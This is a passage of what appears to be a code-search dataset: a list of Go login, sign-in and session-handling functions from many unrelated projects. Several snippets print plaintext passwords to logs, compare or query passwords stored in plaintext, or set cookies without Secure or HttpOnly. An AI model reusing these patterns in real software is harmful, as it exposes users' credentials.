{\n\t\tLog.Error(\"user login failed: user not found, \", err)\n\t\tutils.FailureResponse(&w, \"登录失败,用户不存在\", \"\")\n\t\treturn\n\t}\n\t// 3. 验证密码是否正确\n\terr = bcrypt.CompareHashAndPassword([]byte(existedUser.Password), []byte(user.Password))\n\tif err != nil {\n\t\tLog.Error(\"user login failed: password is incorrect, \")\n\t\tutils.FailureResponse(&w, \"登录失败,密码错误\", \"\")\n\t\treturn\n\t}\n\t// 4. user login successfully, save user into session\n\tsession, _ := SessionGet(w, r, \"user\")\n\tsession[\"user\"] = existedUser\n\t_ = SessionSet(w, r, \"user\", session)\n\t// 5. response successfully\n\tLog.Noticef(\"user %v login successfully\", existedUser.Name)\n\tutils.SuccessResponse(&w, \"登录成功\", \"\")\n}", "func Login(res http.ResponseWriter, req *http.Request) (bool, string) {\n\tname := req.FormValue(NameParameter)\n\tname = html.EscapeString(name)\n\tlog.Debugf(\"Log in user. Name: %s\", name)\n\tif name != \"\" {\n\t\tuuid := generateRandomUUID()\n\t\tsuccess := authClient.SetRequest(uuid, name)\n\t\tif success {\n\t\t\tcookiesManager.SetCookieValue(res, CookieName, uuid)\n\t\t}\n\t\t// successfully loged in\n\t\tif success {\n\t\t\treturn success, \"\"\n\t\t} else {\n\t\t\treturn success, \"authServerFail\"\n\t\t}\n\n\t}\n\n\treturn false, \"noName\"\n}", "func Login() http.HandlerFunc {\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\n\t\tvar user userLogin\n\t\t// Try to decode the request body into the struct. If there is an error,\n\t\t// respond to the client with the error message and a 400 status code.\n\t\terr := json.NewDecoder(r.Body).Decode(&user)\n\t\tif err != nil {\n\t\t\thttp.Error(w, err.Error(), http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\t// when user credentials are identified we can set token and send cookie with jwt\n\t\t// boolean, User returned\n\t\tfmt.Println(\"User sent password: \" + user.UserName + \" \" + user.Password)\n\t\tuserCred, isValid := ValidUserPassword(user.UserName, user.Password)\n\t\tif isValid {\n\t\t\tlog.Info(\"User valid login \" + user.UserName)\n\t\t\tfmt.Println(userCred.UserID)\n\t\t\thttp.SetCookie(w, jwt.PrepareCookie(jwt.CreateToken(w, userCred), \"jwt\"))\n\t\t} else {\n\t\t\tw.WriteHeader(http.StatusUnprocessableEntity) // send a 422 -- user they sent does not exist\n\t\t\tutil.Response(w, util.Message(\"422\", \"Unprocessable Entity - check what you're sending - user might not exist\"))\n\t\t\t//w.Write([]byte(\"422 - Unprocessable Entity - check what you're sending - user might not exist\"))\n\t\t}\n\t}\n}", "func (a SuperAdmin) Login(user, passwd string) (error, bool) {\n if user == a.Name && passwd == a.Pass {\n return nil, true\n } else {\n return errors.New(\"Wrong login or password\"), false\n }\n}", "func IsLogIn(h httprouter.Handle) httprouter.Handle {\n\treturn func(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\n\t\tcookie, err := r.Cookie(\"kRtrima\") //Grab the cookie from the header\n\t\tif err != nil {\n\t\t\tswitch err {\n\t\t\tcase http.ErrNoCookie:\n\t\t\t\tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t\t\t\th(w, r, ps)\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tLogger.Println(\"No Cookie was Found with Name kRtrima\")\n\t\t\t\th(w, r, ps)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tLogger.Println(\"Cookie was Found with Name kRtrima\")\n\n\t\t// Create a BSON ObjectID by passing string to ObjectIDFromHex() method\n\t\tdocID, err := primitive.ObjectIDFromHex(cookie.Value)\n\t\tif err != nil {\n\t\t\tLogger.Printf(\"Cannot Convert %T type to object id\", cookie.Value)\n\t\t\tLogger.Println(err)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\tvar SP m.Session\n\t\tif err = m.Sessions.Find(\"_id\", docID, &SP); err != nil {\n\t\t\tLogger.Println(\"Cannot found a valid User Session!!\")\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t\t//session is missing, returns with error code 403 Unauthorized\n\t\t}\n\n\t\tLogger.Println(\"Valid User Session was Found!!\")\n\n\t\tvar UP m.LogInUser\n\n\t\terr = m.Users.Find(\"salt\", SP.Salt, &UP)\n\t\tif err != nil {\n\t\t\tLogger.Println(\"Cannot Find user with salt\")\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\tvar LIP m.LogInUser\n\n\t\terr = m.GetLogInUser(\"User\", &LIP, r)\n\t\tif err != nil {\n\t\t\tm.AddToHeader(\"User\", UP, r)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t} else if UP.Email != LIP.Email {\n\t\t\t//remove the user ID from the session\n\t\t\tr.Header.Del(\"User\")\n\t\t\tm.AddToHeader(\"User\", UP, r)\n\t\t\th(w, r, ps)\n\t\t\treturn\n\t\t}\n\n\t\th(w, r, ps)\n\t}\n}", "func (user User) IsValidLogin(db *gorm.DB) (bool, string) {\n\ttempUser := User{}\n\tdb.Where(\"user_name=?\", user.UserName).First(&tempUser)\n\n\tif tempUser.Password == user.Password && user.Password != \"\" {\n\t\t//fmt.Println(tempUser.StartTime)\n\t\tif tempUser.StartTime == \"\" {\n\t\t\t//first login\n\t\t\tcurrentTime := fmt.Sprintf(\"%v\", time.Now().UnixNano()/1000000)\n\t\t\ttempUser.StartTime = currentTime\n\t\t\tfmt.Println(\"setting time\", user.UserName, currentTime)\n\t\t\tdb.Save(&tempUser)\n\t\t}\n\t\treturn true, \"ok\"\n\t}\n\treturn false, \"check credentials\"\n}", "func performLogin(c *gin.Context) {\n\t/*\n\t\tGet the values from POST objects\n\t*/\n\tusername := c.PostForm(\"username\")\n\tpassword := c.PostForm(\"password\")\n\n\t/*\n\t\tChecks the username and password variables valuesare not empty\n\t*/\n\tif len(username) == 0 || len(password) == 0 {\n\t\terr = errors.New(\"missing password and/or email\")\n\t\treturn\n\t}\n\n\t/*\n\t\tCall the actual function which checks and return error or information about user\n\t\tBased on status we are redirecting to necessary pages\n\t\tIf error then redirecting to login page again with error messages\n\t\tIf valid then redirecting to userprofile page which display user information.\n\t*/\n\tUserInfo, err := getUser(username, password)\n\tif err != nil {\n\t\trender(c, gin.H{\n\t\t\t\"title\": \"Login\",\n\t\t\t\"ErrorMessage\": \"Login Failed\",\n\t\t}, \"login.html\")\n\t} else {\n\t\trender(c, gin.H{\n\t\t\t\"title\": \"User Profile\",\n\t\t\t\"UserInfo\": UserInfo,\n\t\t}, \"userprofile.html\")\n\t}\n}", "func (a Authentic) loginHandler(c buffalo.Context) error {\n\tc.Request().ParseForm()\n\n\t//TODO: schema ?\n\tloginData := struct {\n\t\tUsername string\n\t\tPassword string\n\t}{}\n\n\tc.Bind(&loginData)\n\n\tu, err := a.provider.FindByUsername(loginData.Username)\n\tif err != nil || ValidatePassword(loginData.Password, u) == false {\n\t\tc.Flash().Add(\"danger\", \"Invalid Username or Password\")\n\t\treturn c.Redirect(http.StatusSeeOther, a.Config.LoginPath)\n\t}\n\n\tc.Session().Set(SessionField, u.GetID())\n\tc.Session().Save()\n\n\treturn c.Redirect(http.StatusSeeOther, a.Config.AfterLoginPath)\n}", "func (u *User) login(ctx *clevergo.Context) error {\n\tuser, _ := u.User(ctx)\n\tif !user.IsGuest() {\n\t\tctx.Redirect(\"/\", http.StatusFound)\n\t\treturn nil\n\t}\n\n\tif ctx.IsPost() {\n\t\tform := forms.NewLogin(u.DB(), user, u.captchaManager)\n\t\tif _, err := form.Handle(ctx); err != nil {\n\t\t\treturn jsend.Error(ctx.Response, err.Error())\n\t\t}\n\n\t\treturn jsend.Success(ctx.Response, nil)\n\t}\n\n\treturn ctx.Render(http.StatusOK, \"user/login.tmpl\", nil)\n}", "func HandleSignIn(res http.ResponseWriter, req *http.Request) {\n\tvalidate := new(validation.Validate)\n\tvar requestError errors.BadRequestError = \"Invalid credentials\"\n\tschema := models.UserSchema{}\n\tuser := db.Client.Database(\"user\").Collection(\"User\")\n\tvalidate.ValidateEmail(req.FormValue(\"email\"), \"Email must be valid\")\n\tvalidate.IsPassword(req.FormValue(\"password\"), \"You must supply a password\")\n\n\tif validate.ValidationResult != nil {\n\t\terrors.HTTPError(res, validate, http.StatusBadRequest)\n\t\treturn\n\t}\n\n\terr := user.FindOne(context.Background(), bson.D{{Key: \"email\", Value: req.FormValue(\"email\")}}).Decode(&schema)\n\n\tif err != nil {\n\t\tfmt.Println(\"SignError: \", err)\n\t\terrors.HTTPError(res, requestError, http.StatusBadRequest)\n\t} else {\n\t\tif answer := schema.CompareHashAndPassword(schema.Password, []byte(req.FormValue(\"password\"))); answer == false {\n\t\t\terrors.HTTPError(res, requestError, http.StatusBadRequest)\n\t\t\treturn\n\t\t}\n\t\tuserJwt := jwt.MapClaims{\n\t\t\t\"id\": schema.ID,\n\t\t\t\"email\": req.FormValue(\"email\"),\n\t\t\t\"iat\": time.Now().Unix(),\n\t\t}\n\t\ttoken := jwt.NewWithClaims(jwt.SigningMethodHS256, userJwt)\n\t\ttokenString, err := token.SignedString([]byte(os.Getenv(\"JWT_KEY\")))\n\t\tif err != nil {\n\t\t\tlog.Println(\"Token Error: \", err)\n\t\t}\n\t\thttp.SetCookie(res, &http.Cookie{\n\t\t\tName: \"auth-session\",\n\t\t\tValue: tokenString,\n\t\t})\n\t\tdata, _ := json.Marshal(models.UserSchema{ID: schema.ID, Email: schema.Email})\n\t\tfmt.Fprint(res, string(data))\n\t}\n\n}", "func DoSignin(w http.ResponseWriter, r *http.Request) {\n\n\tvar id int\n\n\tif r.Method == \"POST\" {\n\t\t// Handles login when it is hit as a post request\n\t\tr.ParseForm()\n\t\tstmt, err := db.Prepare(\"select id from users where username=? and password=?\")\n\t\tres := stmt.QueryRow(r.FormValue(\"username\"), r.FormValue(\"password\"))\n\t\terr = res.Scan(&id)\n\n\t\tif err == nil {\n\t\t\tsess, _ := globalSessions.SessionStart(w, r)\n\t\t\tdefer sess.SessionRelease(w)\n\t\t\tsetUserCookies(w, id, sess.SessionID())\n\t\t\t_ = sess.Set(\"user_id\", id)\n\t\t\t_ = sess.Set(\"username\", r.FormValue(\"username\"))\n\t\t\tif r.FormValue(\"remember-me\") == \"on\" {\n\t\t\t\tsaveSession(w, r, sess.SessionID(), id)\n\n\t\t\t}\n\t\t\taddRemoteAddress(r, id)\n\t\t\thttp.Redirect(w, r, \"/\", 302)\n\t\t} else {\n\t\t\tlog.Println(\"Database connection failed: \", err)\n\t\t}\n\t} else {\n\t\tanonsess, _ := anonSessions.SessionStart(w, r)\n\t\tdefer anonsess.SessionRelease(w)\n\t\t// Handles auto login when it is hit as a GET request\n\t\tsessionIdCookie, err := r.Cookie(\"userSession_id\")\n\t\tif err == nil {\n\t\t\tstmt, err := db.Prepare(\"select id, username from users where session_id=?\")\n\t\t\tres := stmt.QueryRow(sessionIdCookie.Value)\n\t\t\tvar username string\n\t\t\terr = res.Scan(&id, &username)\n\t\t\tif err == nil {\n\t\t\t\tif checkRemoteAddress(r, id) {\n\t\t\t\t\tsess, _ := globalSessions.SessionStart(w, r)\n\t\t\t\t\tdefer sess.SessionRelease(w)\n\t\t\t\t\terr = sess.Set(\"user_id\", id)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\tlog.Println(err)\n\t\t\t\t\t}\n\t\t\t\t\t_ = sess.Set(\"username\", username)\n\t\t\t\t\tsaveSession(w, r, sess.SessionID(), id)\n\t\t\t\t\tsetUserCookies(w, id, sess.SessionID())\n\t\t\t\t\thttp.Redirect(w, r, \"/\", 302)\n\t\t\t\t} else {\n\t\t\t\t\thttp.Redirect(w, r, \"/newAddress\", 302)\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\thttp.Redirect(w, r, \"/userNotFound\", 302)\n\t\t\t}\n\t\t} else {\n\t\t\thttp.Redirect(w, r, \"/\", 302)\n\t\t}\n\t}\n}", "func Login(ctx *gin.Context) {\n\n\tDB := common.GetDB()\n\n\t//获取数据\n\ttelephone := ctx.PostForm(\"tel\")\n\tpassword := ctx.PostForm(\"password\")\n\n\t//判断数据\n\tif len(telephone) != 11 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4221, gin.H{}, \"手机号必须为11位\")\n\t\treturn\n\t}\n\n\tif len(password) < 6 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4222, gin.H{}, \"密码需大于6位\")\n\n\t\treturn\n\t}\n\n\t//处理数据\n\n\tvar user model.User\n\tDB.First(&user, \"telephone = ?\", telephone)\n\tif user.ID == 0 {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4225, gin.H{}, \"用户不存在\")\n\n\t\treturn\n\t}\n\n\tif err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(password)); err != nil {\n\t\tresponse.Response(ctx, http.StatusUnprocessableEntity, 4226, gin.H{}, \"密码错误\")\n\t\tfmt.Println(err)\n\t\treturn\n\t}\n\n\ttoken, err := common.ReleaseToken(user)\n\n\tif err != nil {\n\t\tresponse.Response(ctx, http.StatusInternalServerError, 5001, gin.H{}, \"密码解析错误\")\n\t\tlog.Fatal(err)\n\t\treturn\n\t}\n\n\tresponse.Success(ctx, gin.H{\"token\": token}, \"ok\")\n\n}", "func (s *SessionManager) ValidateSession(w http.ResponseWriter, r *http.Request) (*SessionInfo, error) {\n\tsession, err := s.Store.Get(r, \"session\")\n\tif err != nil {\n\t\terr = errors.Errorf(errors.CodeUnauthorized, \"Previous session no longer valid: %s\", err)\n\t\tlog.Println(err)\n\t\ts.DeleteSession(w, r)\n\t\tutil.ErrorHandler(err, w)\n\t\treturn nil, err\n\t}\n\tif session.IsNew {\n\t\terr = errors.Errorf(errors.CodeUnauthorized, \"No valid session\")\n\t\tlog.Println(err)\n\t\tutil.ErrorHandler(err, w)\n\t\treturn nil, err\n\t}\n\tvar si SessionInfo\n\tvar exists bool\n\tusername, exists := session.Values[\"username\"]\n\tif !exists || username.(string) == \"\" {\n\t\terr = errors.Errorf(errors.CodeUnauthorized, \"Existing session invalid: (username: %s)\", si.Username)\n\t\tlog.Println(err)\n\t\ts.DeleteSession(w, r)\n\t\tutil.ErrorHandler(err, w)\n\t\treturn nil, err\n\t}\n\tsi.Username = username.(string)\n\tuserID, exists := session.Values[\"user_id\"]\n\tif !exists || userID == nil || userID.(string) == \"\" {\n\t\terr = errors.Errorf(errors.CodeUnauthorized, \"Existing session invalid: (id: %s)\", si.UserID)\n\t\tlog.Println(err)\n\t\ts.DeleteSession(w, r)\n\t\tutil.ErrorHandler(err, w)\n\t\treturn nil, err\n\t}\n\tsi.UserID = userID.(string)\n\treturn &si, nil\n}", "func (app *Application) LoginHandler(w http.ResponseWriter, r *http.Request) {\n\tvar data map[string]interface{}\n\tdata = make(map[string]interface{})\n\tfmt.Println(\"login.html\")\n\tif r.FormValue(\"submitted\") == \"true\" {\n\t\tuname := r.FormValue(\"username\")\n\t\tpword := r.FormValue(\"password\")\n\t\torg := r.FormValue(\"org\")\n\t\tprintln(uname, pword, org)\n\t\t//according uname, comparing pword with map[uname]\n\t\tfor _, v := range webutil.Orgnization[org] {\n\t\t\tfmt.Println(\"org user\", v.UserName)\n\t\t\tif v.UserName == uname {\n\t\t\t\tif v.Secret == pword {\n\t\t\t\t\twebutil.MySession.SetSession(uname, org, w)\n\t\t\t\t\thttp.Redirect(w, r, \"./home.html\", 302)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t\t//login failed redirect to login page and show failed\n\t\tdata[\"LoginFailed\"] = true\n\t\tloginTemplate(w, r, \"login.html\", data)\n\t\treturn\n\t}\n\tloginTemplate(w, r, \"login.html\", data)\n}", "func HandleLogin(w http.ResponseWriter, r *http.Request) {\n\terr := r.ParseForm()\n\tif err != nil {\n\t\tServeHandleIncorrect(w, r)\n\t\treturn\n\t}\n\tvalues := LoginFormValues{}\n\tdecoder := schema.NewDecoder()\n\terr = decoder.Decode(&values, r.PostForm)\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\n\tacc, err := data.GetAccountByHandle(values.Handle)\n\tif err == mgo.ErrNotFound {\n\t\tServeHandleIncorrect(w, r)\n\t\treturn\n\t}\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\tm := acc.Password.Match(values.Password)\n\tif !m {\n\t\thttp.Redirect(w, r, \"/login\", http.StatusSeeOther)\n\t\treturn\n\t}\n\n\tsess, err := store.Get(r, \"s\")\n\tif err != nil {\n\t\tServeInternalServerError(w, r)\n\t\treturn\n\t}\n\tsess.Values[\"accountID\"] = acc.ID.Hex()\n\tsess.Save(r, w)\n\thttp.Redirect(w, r, \"/tasks\", http.StatusSeeOther)\n}", "func UserLogin(db *gorm.DB, w http.ResponseWriter, r *http.Request) {\n\tfmt.Println(\"login\")\n\n\t//t := r.URL.Query().Get(\"token\")\n\t//if t\n\n\tcredentials := model.Credentials{}\n\tdecoder := json.NewDecoder(r.Body)\n\tif err := decoder.Decode(&credentials); err != nil {\n\t\tRespondError(w, http.StatusUnauthorized, \"\")\n\t\treturn\n\t}\n\n\tuser := getUserByName(db, credentials.Username, w, r)\n\tif user == nil {\n\t\treturn\n\t}\n\n\tif err := bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(credentials.Password)); err != nil {\n\t\tRespondError(w, http.StatusUnauthorized, \"\")\n\t\treturn\n\t}\n\n\ttoken, err := auth.GenerateToken(*user)\n\tif err != nil {\n\t\tlog.Println(err)\n\t\tRespondError(w, http.StatusInternalServerError, \"\")\n\t\treturn\n\t}\n\n\tlr := model.LoginResponse{\n\t\tName: user.Name,\n\t\tUsername: user.Username,\n\t\tUUID: user.UUID,\n\t\tToken: token,\n\t}\n\n\tRespondJSON(w, http.StatusOK, lr)\n}", "func Login(w http.ResponseWriter, r *http.Request) {\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tutils.Error(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\t}\n\tvar user models.User\n\tif err = json.Unmarshal(body, &user); err != nil {\n\t\tutils.Error(w, http.StatusBadRequest, err)\n\t\treturn\n\t}\n\tdb, error := database.Connect()\n\tif error != nil {\n\t\tutils.Error(w, http.StatusInternalServerError, error)\n\t\treturn\n\t}\n\tdefer db.Close()\n\tuserRepo := repository.NewUserRepo(db)\n\tuserFound, err := userRepo.FindByEmail(user.Email)\n\tif error != nil {\n\t\tutils.Error(w, http.StatusInternalServerError, error)\n\t\treturn\n\t}\n\tif err = hash.Verify(user.Password, userFound.Password); err != nil {\n\t\tutils.Error(w, http.StatusUnauthorized, err)\n\t\treturn\n\t}\n\ttoken, err := authentication.Token(userFound.ID)\n\tif err != nil {\n\t\tutils.Error(w, http.StatusInternalServerError, err)\n\t\treturn\n\t}\n\tw.Write([]byte(token))\n}", "func handleLogin(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tparseFormErr := r.ParseForm()\n\n\tif parseFormErr != nil {\n\t\thttp.Error(w, \"Sent invalid form\", http.StatusBadRequest)\n\t} else {\n\t\temail := r.FormValue(\"email\")\n\t\tpassword := r.FormValue(\"password\")\n\n\t\tchannel := make(chan FindUserResponse)\n\t\tgo GetUserWithLogin(email, password, channel)\n\n\t\tres := <-channel\n\n\t\tif res.Err != nil {\n\t\t\tif res.Err.Error() == UserNotFound || res.Err.Error() == PasswordNotMatching {\n\t\t\t\thttp.Error(w, \"Provided email/password do not match\", http.StatusNotFound)\n\t\t\t} else {\n\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t}\n\t\t} else {\n\t\t\ttoken, expiry, jwtErr := middleware.CreateLoginToken(res.User)\n\n\t\t\tif jwtErr != nil {\n\t\t\t\tlog.Println(jwtErr)\n\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t} else {\n\t\t\t\tres.User.Password = nil\n\t\t\t\tjsonResponse, jsonErr := json.Marshal(res.User)\n\n\t\t\t\tif jsonErr != nil {\n\t\t\t\t\tlog.Println(jsonErr)\n\t\t\t\t\tcommon.SendInternalServerError(w)\n\t\t\t\t} else {\n\n\t\t\t\t\tjsonEncodedCookie := strings.ReplaceAll(string(jsonResponse), \"\\\"\", \"'\") // Have to do this to Set-Cookie in psuedo-JSON format.\n\n\t\t\t\t\t_, inProduction := os.LookupEnv(\"PRODUCTION\")\n\n\t\t\t\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\t\t\t\tName: \"token\",\n\t\t\t\t\t\tValue: token,\n\t\t\t\t\t\tPath: \"/\",\n\t\t\t\t\t\tExpires: expiry,\n\t\t\t\t\t\tRawExpires: expiry.String(),\n\t\t\t\t\t\tSecure: inProduction,\n\t\t\t\t\t\tHttpOnly: true,\n\t\t\t\t\t\tSameSite: 0,\n\t\t\t\t\t})\n\n\t\t\t\t\thttp.SetCookie(w, &http.Cookie{\n\t\t\t\t\t\tName: \"userinfo\",\n\t\t\t\t\t\tValue: jsonEncodedCookie,\n\t\t\t\t\t\tPath: \"/\",\n\t\t\t\t\t\tExpires: expiry,\n\t\t\t\t\t\tRawExpires: expiry.String(),\n\t\t\t\t\t\tSecure: false,\n\t\t\t\t\t\tHttpOnly: false,\n\t\t\t\t\t\tSameSite: 0,\n\t\t\t\t\t})\n\n\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tw.Write(jsonResponse)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}", "func (router *router) SignIn(w http.ResponseWriter, r *http.Request) {\n\trouter.log.Println(\"request received at endpoint: SignIn\")\n\tuser := &schema.User{}\n\n\tr.ParseForm()\n\n\tif username := r.FormValue(\"username\"); username != \"\" {\n\t\tuser.User = username\n\t} else {\n\t\trouter.log.Println(\"username is empty redirecting signin page\")\n\t\tSignInPage(w, r)\n\t\treturn\n\t}\n\n\tif pwd := r.FormValue(\"password\"); pwd != \"\" {\n\t\tuser.Password = pwd\n\t} else {\n\t\trouter.log.Println(\"password is empty redirecting signin page\")\n\t\tSignInPage(w, r)\n\t\treturn\n\t}\n\n\tdbUser := router.database.User(user.User)\n\n\tif security.CheckPasswordHash(user.Password, dbUser.Password) {\n\t\trouter.log.Println(\"Sign In success for user \", user.User)\n\t\tsession.CreateSession(w, r)\n\t\trouter.Favorites(w, r)\n\t\treturn\n\t} else {\n\t\trouter.log.Println(\"Sign In failed for user \", user.User, \"redirecting signin page\")\n\t\tSignInPage(w, r)\n\t\treturn\n\t}\n\n}", "func (am AuthManager) Login(userID string, ctx *Ctx) (session *Session, err error) {\n\t// create a new session value\n\tsessionValue := NewSessionID()\n\t// userID and sessionID are required\n\tsession = NewSession(userID, sessionValue)\n\tif am.SessionTimeoutProvider != nil {\n\t\tsession.ExpiresUTC = am.SessionTimeoutProvider(session)\n\t}\n\tsession.UserAgent = webutil.GetUserAgent(ctx.Request)\n\tsession.RemoteAddr = webutil.GetRemoteAddr(ctx.Request)\n\n\t// call the perist handler if one's been provided\n\tif am.PersistHandler != nil {\n\t\terr = am.PersistHandler(ctx.Context(), session)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// if we're in jwt mode, serialize the jwt.\n\tif am.SerializeSessionValueHandler != nil {\n\t\tsessionValue, err = am.SerializeSessionValueHandler(ctx.Context(), session)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\t// inject cookies into the response\n\tam.injectCookie(ctx, am.CookieNameOrDefault(), sessionValue, session.ExpiresUTC)\n\treturn session, nil\n}", "func Login(authMod common.Authorizer, d models.UserStore, w http.ResponseWriter, r *http.Request) {\n\n\tdecoder := json.NewDecoder(r.Body)\n\tbody := models.User{}\n\tif err := decoder.Decode(&body); err != nil {\n\t\tcommon.DisplayAppError(w, err, \"Invalid user data\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\tuser, err := d.FindUser(body)\n\tif err != nil {\n\t\tcommon.DisplayAppError(w, err, \"Invalid user data\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// compare password\n\terr = bcrypt.CompareHashAndPassword(user.HashPassword, []byte(body.Password))\n\tif err != nil {\n\t\tcommon.DisplayAppError(w, err, \"Incorrect username and password\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\n\t// generate a fresh JWT\n\tjwt, err := authMod.GenerateJWT(\n\t\tuser.UserName,\n\t\tuser.Id,\n\t)\n\tif err != nil {\n\t\tcommon.DisplayAppError(w, err, \"Please try again later\", http.StatusInternalServerError)\n\t\treturn\n\t}\n\treturnUser := CreatedUser{\n\t\tuser.UserName,\n\t\tuser.Email,\n\t\tjwt,\n\t}\n\n\tcommon.WriteJson(w, \"success\", returnUser, http.StatusOK)\n\n}", "func Login(username string, password string) (user *User, token string, ok bool) {\n\n\n\t// SET UP A DATABASE CONNECTION\n\tuser, err := GetUserByUsername(username)\n\tif err != nil {\n\t\treturn nil, \"\", false\n\t}\n\n\t// CHECK THE PASSWORD OF THE USER\n\terr = bcrypt.CompareHashAndPassword([]byte(user.Hash), []byte(password))\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, \"\", false\n\t}\n\n\t// IF NO ERROR WAS RETURNED, WE'RE GOOD TO ISSUE A TOKEN\n\ttoken, err = user.GetToken()\n\tif err != nil {\n\t\tlog.Error(err)\n\t\treturn nil, \"\", false\n\t}\n\n\treturn user, token, true\n\n}", "func (handler *Handler) handleUserLogin(w http.ResponseWriter, r *http.Request) {\n\n\t/**\n\tDefine a struct for just updating password\n\t*/\n\ttype loginUserStruct struct {\n\t\tEmail string `json:\"email\"`\n\t\tPassword string `json:\"password\"`\n\t}\n\n\tuserCred := &loginUserStruct{}\n\n\t//decode the request body into struct and failed if any error occur\n\terr := json.NewDecoder(r.Body).Decode(userCred)\n\tif err != nil {\n\t\tutils.ReturnJsonError(w, http.StatusUnprocessableEntity, err)\n\t\treturn\n\n\t}\n\n\t//Now look up the user\n\tuser, err := handler.userHelper.GetUserByEmail(strings.TrimSpace(strings.ToLower(userCred.Email)))\n\n\t//check for an error\n\tif err != nil {\n\t\t//There prob is not a user to return\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t\treturn\n\t}\n\n\t//We have the user, try to login\n\tuser, err = handler.userHelper.login(userCred.Password, user)\n\n\t//If there is an error, don't login\n\tif err != nil {\n\t\t//There prob is not a user to return\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t\treturn\n\t}\n\n\t//Check to see if the user was created\n\tif err == nil {\n\t\tutils.ReturnJson(w, http.StatusCreated, user)\n\t} else {\n\t\tutils.ReturnJsonError(w, http.StatusForbidden, err)\n\t}\n\n}", "func login(creds *credentials) (string, error) {\n\t// Credentials\n\tif customCreds.UserName == \"\" {\n\t\tf, err := ioutil.ReadFile(credentialsPath)\n\t\tif err != nil {\n\t\t\treturn \"\", fmt.Errorf(\"Unable to read credentials file (%q) specified in config file (%q): %s\", credentialsPath, configPath, err)\n\t\t}\n\t\tjson.Unmarshal(f, creds)\n\t} else {\n\t\tcreds = customCreds\n\t}\n\tdata := url.Values{}\n\tdata.Set(\"userName\", creds.UserName)\n\tdata.Set(\"password\", creds.Password)\n\tdata.Set(\"orgId\", creds.OrgID)\n\tdata.Set(\"devKey\", creds.DevKey)\n\tbody := strings.NewReader(data.Encode())\n\n\t// Request\n\tresp, err := http.Post(loginURL, \"application/x-www-form-urlencoded\", body)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to send Post request to %s: %s\", loginURL, err)\n\t}\n\tdefer resp.Body.Close()\n\tr, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to read resp body from %s: %s\", loginURL, err)\n\t}\n\t// Handling responses\n\terr = handleError(r, loginURL)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"Unable to log in to Bill.com: %v\", err)\n\t}\n\tvar goodResp loginResponse\n\tjson.Unmarshal(r, &goodResp)\n\n\treturn goodResp.Data.SessionID, nil\n}", "func LoginFunc(w http.ResponseWriter, r *http.Request) {\n\tsession, _ := sessions.Store.Get(r, \"session\")\n\tswitch r.Method {\n\tcase \"GET\":\n\t\tview.LoginTemplate.Execute(w, nil)\n\tcase \"POST\":\n\t\tr.ParseForm()\n\t\tusername := r.Form.Get(\"username\")\n\t\tpassword := r.Form.Get(\"password\")\n\t\t// there will not handle the empty value it should be handle by javascript\n\t\tif user.UserIsExist(username) {\n\t\t\tif user.ValidUser(username, password) {\n\t\t\t\tsession.Values[\"loggedin\"] = \"true\"\n\t\t\t\tsession.Values[\"username\"] = username\n\t\t\t\tsession.Save(r, w)\n\t\t\t\tlog.Println(\"user\", username, \"is authenticated\")\n\t\t\t\thttp.Redirect(w, r, \"/\", 302)\n\t\t\t} else {\n\t\t\t\thttp.Error(w, \"Wrong username or password\", http.StatusInternalServerError)\n\t\t\t}\n\t\t} else {\n\t\t\thttp.Error(w, \"User doesnt exist\", http.StatusInternalServerError)\n\t\t}\n\tdefault:\n\t\thttp.Redirect(w, r, \"/login/\", http.StatusUnauthorized)\n\t}\n}", "func (c UserInfo) Login(DiscordToken *models.DiscordToken) revel.Result {\n\tinfo, _ := c.Session.Get(\"DiscordUserID\")\n\tvar DiscordUser models.DiscordUser\n\tif info == nil {\n\t\tuserbytevalue, StatusCode := oAuth2Discord(DiscordToken.AccessToken)\n\t\tjson.Unmarshal(userbytevalue, &DiscordUser)\n\n\t\t// If we have an invalid status code, then that means we don't have the right\n\t\t// access token. So return.\n\t\tif StatusCode != 200 && StatusCode != 201 {\n\t\t\tc.Response.Status = StatusCode\n\t\t\treturn c.Render()\n\t\t}\n\t\t// Assign to the session, the discorduser ID.\n\t\t// If we've reached here, that must 